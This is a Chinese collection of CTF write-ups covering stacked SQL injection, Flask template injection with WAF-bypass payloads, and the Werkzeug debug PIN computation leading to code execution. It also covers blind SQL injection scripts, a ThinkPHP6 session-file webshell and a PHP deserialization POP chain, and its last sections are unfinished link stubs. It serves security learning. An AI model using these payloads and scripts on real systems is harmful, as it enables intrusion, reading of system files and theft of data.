要点:堆叠注入
简单测试,发现这里要做的是SQL注入,并且存在黑名单。
这里考察的是堆叠注入,尝试获取目标数据信息
数据库:1';show databases;
ctftraining
test
supersqli
.....
表:1';show tables;
FlagHere
words
查看表FlagHere和words的字段类型
1';show columns from `表名`;
堆叠注入的方法有3种
方法1:堆叠语法+预处理语句
SET @sql = 执行语句; //要执行的sql语句
PREPARE 名称 from @sql; //名称随便取开心就好
EXECUTE 名称;
但这里对set进行了黑名单验证,因此这种方法无法使用
方法2:堆叠语法+修改表名
猜测在php层面的查询固定语句是:select * from worlds where id=$id
因为数据库里面的变化php是管不到的,因此我们的目标就是,将FlagHere
表改名成words
,并添加一个id
字段。
alter table `FlagHere` add(id int null);
rename table `words` to `word1`;
rename tavle `FlagHere` to `words` ;
但这里对alter
和rename
进行了黑名单验证,因此这种方法也无法使用
方法3:HANDLER
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER语法结构->官方文档链接
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
如:通过handler语句查询users表的内容
handler users open ; #指定数据表进行载入
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄
构造playload:获取flag
?inject=1';HANDLER `FlagHere` OPEN;HANDLER `FlagHere` READ first;
要点:模板注入、Pin码、RCE漏洞
访问网站,提示了该网站由Flask框架搭建,进行简单测试,提供了base64加密和解密的功能,并开启了flask的dubug功能(输入错误的base64解码会出现报错界面)
猜测存在模板注入,构造payload:{{2+6}}
base64加密,将结果进行解码,验证存在模板注入
构造payload获取python文件内容(通过之前的报错可以知道python文件名),循环查找catch_warnings,打开app.py读取内容
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
存储为python脚本,进行代码审计
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField('BASE64加密',validators= [DataRequired()])
submit = SubmitField('提交')
class NameForm1(FlaskForm):
text = StringField('BASE64解密',validators= [DataRequired()])
submit = SubmitField('提交')
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
@app.route('/hint',methods=['GET'])
def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html",txt = txt)
@app.route('/',methods=['POST','GET'])
def encode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "结果 :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for('encode'))
else :
text = ""
form = NameForm(text)
return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('decode'))
else :
text = ""
form = NameForm1(text)
return render_template("index.html",form = form, method = "解密" , img = "flask1.png")
@app.route('/<name>',methods=['GET'])
def not_found(name):
return render_template("404.html",name = name)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].ev"+"al("__im"+"port__('o'+'s').p"+"open('l'+'s').read()") }} {% endif %}{% endfor %}
PS:解码后会有大量类似于"
的字符,在网页中开头的是HTML实体
如果觉得无法理解,可以跳转到后面,查看字符串拼接的方法
在同一台机器上,多次重启Flask服务,PIN码值不改变,为一个固定值,获取pin码认证就可以在debug模式下执行命令,具体可参考:Flask debug 模式 PIN 码生成机制安全性研究笔记
生成pin码的前提:
(1)flask所登录的用户名。可以通过读取/etc/password
(2) modname 一般不变就是flask.app
(3)getattr(app, “name”, app.class.name)。python该值一般为Flask ,值一般不变
(4)flask库下app.py的绝对路径。在报错信息中可以获取此值为:
(5)当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address读取,eth0为当前使用的网卡
(6)机器的id,对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。对于docker机则读取/proc/self/cgroup。其中id为1的/docker/字符串后面的内容作为机器的id
获取PIN码信息
(1)flask登录用户名,读取文件/etc/password,用户名为flaskweb
构造payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}
(2)绝对路径,通过报错页面获取,路径为:/usr/local/lib/python3.7/site-packages/flask/app.py
(3)网络MAC地址,读取文件->sys/class/net/eth0/address,地址为 02:42:ae:01:6c:34,转成十进制2485410425908
构造payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
(4)获取docker的id值,读取文件信息/proc/self/cgroup,第一行为机器码:1:name=systemd:/docker/d92c39cb606cca872affb0a0928f40331e403dc3efff09a09ebda9879bb01325
构造payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}
获取了PIN码所需的值,写python脚本
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485410425908',# MAC十进制地址 str(uuid.getnode()), /sys/class/net/ens33/address
'd92c39cb606cca872affb0a0928f40331e403dc3efff09a09ebda9879bb01325'# 机器码id get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
获得PIN值
进入debug模式,输入PIN值,获得调试的权限,执行RCE命令,获取flag
import os
print(os.popen('ls /').read())
print(os.popen('cat /this_is_the_flag.txt').read())
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
拼接或使用[::-1]切片读取*flag.txt,获得flag
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
要点:无列名盲注,布尔盲注
访问网站,提供了输入框,可以判断是存在sql注入,只有五种回显,并对输入进行了检查
(1)NU1L
(2)V&N
(3)bool(flase)
(4)SQL Injection Checked
(5)Error Occured When Fetch Result.
使用burp进行fuzz测试,发现过滤了Information_schema.tables
(length为484),手动测试发现存储表信息的innodb_table_stats
和 innodb_index_stats
也被过滤了,这里用sys 来查找表名。
构造payload 布尔盲注,使用if 三元运算:if(select查询,1,2)
写脚本
import requests
def table_name():
flag=""
for i in range(1,100):
mid=1
low=32
high=126
k=0
while(k<1):
mid=(low+high)//2
payload = 'if((ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),%d,1))=%s),1,2)' %(i,mid)
#print(payload)
data={
'id': payload
}
r=requests.post(url,data=data)
if mark in r.text:
flag=flag+chr(mid)
print(flag)
k=1
break
elif mark not in r.text:
payload = 'if((ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),%d,1))>%s),1,2)' %(i,mid)
#print(payload)
data={
'id': payload
}
r=requests.post(url,data=data)
if mark in r.text:
low = mid
elif mark not in r.text:
high = mid
if(__name__=="__main__"):
url="http://216e1fa5-51a7-4015-8ff5-af06f6f4c193.node3.buuoj.cn/index.php"
starOperatorTime=[]
mark='Nu1L'
print("\n.................开始猜解表名.................\n")
tname = table_name()
获得表名:f1ag_1s_h3r3_hhhhh
但是不知道列名。常见的无列名注入是结合联合查询,但是union select被过滤。这时可以通过加括号比较来判断这个表的列数,输入1&&((1,1)>(select * from f1ag_1s_h3r3_hhhhh))
返回 Nu1L,说明有两列。
无列名关键payload:(select 'admin','admin')>(select * from users limit 1)
PS:无列名注入
进行两个select的查询比较,比较以按位比较,即先比第一位,如果相等则比第二位,以此类推;在某一位上,如果前者的ASCII大,不管总长度如何,ASCII大的则大。
写脚本
import requests
def trans(flag):
res = ''
for i in flag:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res
def dump():
flag = ''
for i in range(1,500): #这循环一定要大 不然flag长的话跑不完
hexchar = ''
for char in range(32, 126):
hexchar = trans(flag+ chr(char))
payload = '((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
#print(payload)
data = {
'id':payload
}
r = requests.post(url=url, data=data)
text = r.text
if mark in r.text:
flag += chr(char-1)
print(flag)
break
print(flag.lower())
if(__name__=="__main__"):
url="http://4176b541-e9ef-4fda-95b1-a81203c2eab9.node3.buuoj.cn/index.php"
starOperatorTime=[]
mark='Nu1L'
print("\n................开始猜解字段值................\n")
dump()
PS:因为mysql不区分大小写,最后要对FLAG{xxx}转为小写
要点:thinkphp6版本漏洞、php7.0-7.4的版本漏洞、任意命令执行
一个简单的类似网站,存在源码泄露,访问www.zip可以下载源码,可以看出网站的框架为thinkphp
随意访问一个不存在的url地址会报错,得知该thinkPHP的框架版本为V6.0.0,
该版本存在任意文件操作漏洞,利用参考:ThinkPHP6任意文件操作漏洞分析
session可控,修改session(保持length为32位),session的后缀变为.php
当执行search搜索的内容会直接保存到/runtime/session/sess_xxxxxxx
本地文件,进行getshell获取权限。
(1)注册账号,登录时burp抓包,修改session的值,后四位改为.php,这时候网站的session一直就是这个值
(2)搜索框写入一句话, 保存到了/runtime/session/sess_026efcc9dc8fcc55cf728c3fcce0.php
文件内,利用蚁剑可以直接连接
可以看到根目录存在flag文件,但无权限访问,还有个readflag,需要执行readflag才能得到flag,
(3)查看phpinfo(),有disable_function限制,但PHP版本是7.3.1,php7.0-7.4的版本存在绕过disable_funtion被禁函数,可以实现命令执行。
参考exp:https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass
修改一下exp代码里执行的文件名为/readflag.php,通过蚁剑直接上传文件,最后包含这个文件即可得到flag
要点:php反序列化字符串逃逸
通过访问www.zip可以获得源码,进行代码审计,对查询语句进行了严格的校验,无法利用sql注入
发现存在serialize()
和unserialize()
函数,考虑可以利用反序列化攻击,尝试构造POP链:
在构造POP链前,一般先寻找会系统会自动执行的魔法方法:__wakeup()
__destruct()
函数。
(1)UpdateHelper::__destruct
中有输出,将$sql实例化为User类的对象,echo使得在该类结束销毁时会调用User::__toString
方法。
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
(2)User::__toString
方法,用$nickname变量调用了info类中的update()函数,以$age变量作为参数,将$nickname实例化为Info类的对象,触发Info::__call
方法
class User
{
public $id;
public $age=null;
public $nickname=null;
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
(3)Info::__call
方法,$CtrCase调用了dbCtrl类中的login()方法,参数由User.age的值传入,且其参数sql语句可以控制
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
完整的POP利用链:UpdateHepler::__destruct()->User::__toString->Info::__Call()->dbCtrl::login()
login()函数里进行了两次校验分别为(1)session的用户名是否为admin (2)登录用户名和密码是否正确,通过任一个校验都能实现登录。我们可以通过伪造sql语句将admin写入session用户名,再进行登录即可通过第一次校验。
构造payload,获取序列化的值
class User
{
public $id;
public $age = null;
public $nickname = null;
}
class Info
{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age, $nickname)
{
$this->age = $age;
$this->nickname = $nickname;
}
}
Class UpdateHelper
{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo, $sql)
{
$newInfo = unserialize($newInfo);
$upDate = new dbCtrl();
}
}
class dbCtrl
{
public $hostname = "127.0.0.1";
public $dbuser = "root";
public $dbpass = "root";
public $database = "test";
public $name = "admin";
public $password;
public $mysqli;
public $token = "admin";
}
$db = new dbCtrl();
$user = new User();
$info = new Info("23333", "Tiaonmmn");
#echo serialize($info);
$updatehelper = new UpdateHelper("1", "");
$info->CtrlCase = $db;
$user->nickname = $info;
$user->age = "select password,id from username where username=?";
$updatehelper->sql = $user;
#echo serialize($updatehelper);
$realinfo = new Info("233333", "Tiaonmmn");
$realinfo->CtrlCase = $updatehelper;
echo serialize($realinfo);
?>
如果我们将刚才得到的payload直接用age
或nickname
参数传入,其实际上只会被当成Info类里的一个很长的字符串,并不能被反序列化得到执行。
所以要想反序列化我们的payload,需要控制Info类对象的序列化串。
这里就需要利用safe()函数去实现字符串逃逸:'
=> hacker
字符串逃逸类型
字符串逃逸实现方式
这里我们使用关键字增加的方式(利用safe()函数的替换 由'
=> hacker
长度1变成长度6,逃逸出后面的内容)。修改我们获得的payload。
在update.php
当中POST传入新修改的payload,然后再login.php
任意密码登录admin账户,获得flag
要点:Node.js原型链污染
还没写完 ,更新。。。。。
抓包 发现该网页用的是node.js的Express模板搭建
https://www.jianshu.com/p/6e623e9debe3
http://www.shifeng-kaze.cn/index.php/archives/90/#ezExpress
https://www.icode9.com/content-1-640884.html
https://www.runoob.com/jquery/html-clone.html
要点:CRLF头部注入,SSRF,
(1)利用SSRF,绕过IP=127.0.0.1
的检测
https://guokeya.github.io/post/hz6_KR03h/
https://www.jianshu.com/p/504621863fa3
https://xz.aliyun.com/t/2894#toc-2
https://www.jianshu.com/p/504621863fa3